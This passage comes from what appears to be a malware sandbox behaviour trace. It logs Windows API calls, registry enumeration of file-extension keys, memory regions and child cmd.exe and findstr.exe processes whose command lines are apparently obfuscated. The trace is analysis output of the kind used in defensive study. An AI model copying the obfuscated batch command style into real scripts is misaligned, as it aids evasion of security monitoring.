dwIndex=0xa7, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1T") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1V") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1W") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa, lpName=0x2aee90, cchName=0x104 | out: lpName=".hdp") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab, lpName=0x2aee90, cchName=0x104 | out: lpName=".hhc") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac, lpName=0x2aee90, cchName=0x104 | out: lpName=".hlp") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad, lpName=0x2aee90, cchName=0x104 | out: lpName=".hol") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae, lpName=0x2aee90, cchName=0x104 | out: lpName=".hpp") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf, lpName=0x2aee90, cchName=0x104 | out: lpName=".hqx") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0, lpName=0x2aee90, cchName=0x104 | out: lpName=".hta") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1, lpName=0x2aee90, cchName=0x104 | out: lpName=".htc") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2, lpName=0x2aee90, cchName=0x104 | out: lpName=".htm") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3, lpName=0x2aee90, cchName=0x104 | out: lpName=".html") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4, lpName=0x2aee90, cchName=0x104 | out: lpName=".htt") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5, lpName=0x2aee90, cchName=0x104 | out: lpName=".htw") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6, lpName=0x2aee90, cchName=0x104 | out: lpName=".htx") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxa") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxc") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxd") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxe") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxf") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxh") returned 0x0 [0103.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxi") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxk") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxq") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxr") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxs") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxt") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxv") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxw") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5, lpName=0x2aee90, cchName=0x104 | out: lpName=".hxx") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6, lpName=0x2aee90, cchName=0x104 | out: lpName=".i") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7, lpName=0x2aee90, cchName=0x104 | out: lpName=".ibq") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8, lpName=0x2aee90, cchName=0x104 | out: lpName=".icc") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9, lpName=0x2aee90, cchName=0x104 | out: lpName=".icl") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca, lpName=0x2aee90, cchName=0x104 | out: lpName=".icm") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb, lpName=0x2aee90, cchName=0x104 | out: lpName=".ico") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc, lpName=0x2aee90, cchName=0x104 | out: lpName=".ics") returned 0x0 [0103.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd, lpName=0x2aee90, cchName=0x104 | out: lpName=".idl") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce, lpName=0x2aee90, cchName=0x104 | out: lpName=".idq") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf, lpName=0x2aee90, cchName=0x104 | out: lpName=".ilk") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0, lpName=0x2aee90, cchName=0x104 | out: lpName=".imc") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1, lpName=0x2aee90, cchName=0x104 | out: lpName=".img") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2, lpName=0x2aee90, cchName=0x104 | out: lpName=".inc") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3, lpName=0x2aee90, cchName=0x104 | out: lpName=".inf") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4, lpName=0x2aee90, cchName=0x104 | out: lpName=".ini") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5, lpName=0x2aee90, cchName=0x104 | out: lpName=".inl") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6, lpName=0x2aee90, cchName=0x104 | out: lpName=".inv") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7, lpName=0x2aee90, cchName=0x104 | out: lpName=".inx") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8, lpName=0x2aee90, cchName=0x104 | out: lpName=".in_") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9, lpName=0x2aee90, cchName=0x104 | out: lpName=".iqy") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda, lpName=0x2aee90, cchName=0x104 | out: lpName=".iso") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb, lpName=0x2aee90, cchName=0x104 | out: lpName=".IVF") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc, lpName=0x2aee90, cchName=0x104 | out: lpName=".jar") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd, lpName=0x2aee90, cchName=0x104 | out: lpName=".jav") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde, lpName=0x2aee90, cchName=0x104 | out: lpName=".java") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf, lpName=0x2aee90, cchName=0x104 | out: lpName=".jbf") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0, lpName=0x2aee90, cchName=0x104 | out: lpName=".jfif") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1, lpName=0x2aee90, cchName=0x104 | out: lpName=".jnlp") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2, lpName=0x2aee90, cchName=0x104 | out: lpName=".jnt") returned 0x0 [0103.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3, lpName=0x2aee90, cchName=0x104 | out: lpName=".Job") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4, lpName=0x2aee90, cchName=0x104 | out: lpName=".jod") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5, lpName=0x2aee90, cchName=0x104 | out: lpName=".jpe") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6, lpName=0x2aee90, cchName=0x104 | out: lpName=".jpeg") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7, lpName=0x2aee90, cchName=0x104 | out: lpName=".jpg") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8, lpName=0x2aee90, cchName=0x104 | out: lpName=".js") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9, lpName=0x2aee90, cchName=0x104 | out: lpName=".JSE") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea, lpName=0x2aee90, cchName=0x104 | out: lpName=".jtp") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xeb, lpName=0x2aee90, cchName=0x104 | out: lpName=".jtx") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xec, lpName=0x2aee90, cchName=0x104 | out: lpName=".kci") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xed, lpName=0x2aee90, cchName=0x104 | out: lpName=".label") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xee, lpName=0x2aee90, cchName=0x104 | out: lpName=".laccdb") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xef, lpName=0x2aee90, cchName=0x104 | out: lpName=".latex") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf0, lpName=0x2aee90, cchName=0x104 | out: lpName=".ldb") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf1, lpName=0x2aee90, cchName=0x104 | out: lpName=".lex") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf2, lpName=0x2aee90, cchName=0x104 | out: lpName=".lgn") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf3, lpName=0x2aee90, cchName=0x104 | out: lpName=".lib") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf4, lpName=0x2aee90, cchName=0x104 | out: lpName=".library-ms") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf5, lpName=0x2aee90, cchName=0x104 | out: lpName=".lnk") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf6, lpName=0x2aee90, cchName=0x104 | out: lpName=".local") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf7, lpName=0x2aee90, cchName=0x104 | out: lpName=".log") returned 0x0 [0103.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf8, lpName=0x2aee90, cchName=0x104 | out: lpName=".lst") returned 0x0 [0103.161] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf9, lpName=0x2aee90, cchName=0x104 | out: lpName=".m14") returned 0x0 [0103.388] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0103.388] _get_osfhandle (_FileHandle=1) returned 0x5c [0103.388] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0103.388] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.388] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0103.389] SetConsoleInputExeNameW () returned 0x1 [0103.389] GetConsoleOutputCP () returned 0x1b5 [0103.389] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.389] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.389] exit (_Code=0) Process: id = "10" image_name = "findstr.exe" filename = "c:\\windows\\system32\\findstr.exe" page_root = "0x5778f000" os_pid = "0xb34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xb24" cmd_line = "fiNdStr cm " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1205 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1206 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1207 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1208 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1209 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1210 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1211 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1212 start_va = 0xff910000 end_va = 0xff925fff entry_point = 0xff910000 region_type = mapped_file name = "findstr.exe" filename = "\\Windows\\System32\\findstr.exe" (normalized: "c:\\windows\\system32\\findstr.exe") Region: id = 1213 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1214 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1215 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1216 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 92 os_tid = 0xb38 Process: id = "11" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4786e000" os_pid = "0xb3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb04" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1220 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1221 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1222 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1223 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1224 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1225 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1226 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1227 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1228 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1229 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1230 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1231 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1244 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1245 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1246 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1247 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1248 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1249 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1250 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1251 start_va = 0x2c0000 end_va = 0x326fff entry_point = 0x2c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1252 start_va = 0x410000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1253 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1254 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 1255 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 1256 start_va = 0x840000 end_va = 0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1257 start_va = 0x1c40000 end_va = 0x1f82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 1258 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1259 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1260 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1261 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1262 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1263 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1264 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1265 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1266 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1267 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1268 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1269 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1270 start_va = 0x1f90000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Thread: id = 93 os_tid = 0xb40 [0103.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fd90 | out: lpSystemTimeAsFileTime=0x14fd90*(dwLowDateTime=0xdec84260, dwHighDateTime=0x1d475ba)) [0103.752] GetCurrentProcessId () returned 0xb3c [0103.752] GetCurrentThreadId () returned 0xb40 [0103.752] GetTickCount () returned 0x22809 [0103.752] QueryPerformanceCounter (in: lpPerformanceCount=0x14fd98 | out: lpPerformanceCount=0x14fd98*=1814623200000) returned 1 [0103.753] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0103.753] __set_app_type (_Type=0x1) [0103.753] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0103.753] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0103.753] GetCurrentThreadId () returned 0xb40 [0103.753] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb40) returned 0x38 [0103.754] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.754] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0103.754] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.754] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.754] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fd28 | out: phkResult=0x14fd28*=0x0) returned 0x2 [0103.754] VirtualQuery (in: lpAddress=0x14fd10, lpBuffer=0x14fc90, dwLength=0x30 | out: lpBuffer=0x14fc90*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.754] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fc90, dwLength=0x30 | out: lpBuffer=0x14fc90*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.755] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fc90, dwLength=0x30 | out: lpBuffer=0x14fc90*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.755] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fc90, dwLength=0x30 | out: lpBuffer=0x14fc90*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.755] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fc90, dwLength=0x30 | out: lpBuffer=0x14fc90*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0103.755] GetConsoleOutputCP () returned 0x1b5 [0103.755] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.756] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0103.756] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.756] SetConsoleMode (hConsoleHandle=0x58, dwMode=0x0) returned 0 [0103.756] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.756] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0103.756] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.756] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0103.756] GetEnvironmentStringsW () returned 0x20bf50* [0103.759] FreeEnvironmentStringsW (penv=0x20bf50) returned 1 [0103.759] GetEnvironmentStringsW () returned 0x20bf50* [0103.762] FreeEnvironmentStringsW (penv=0x20bf50) returned 1 [0103.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ebe8 | out: phkResult=0x14ebe8*=0x40) returned 0x0 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x18, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x1, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x1, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x0, 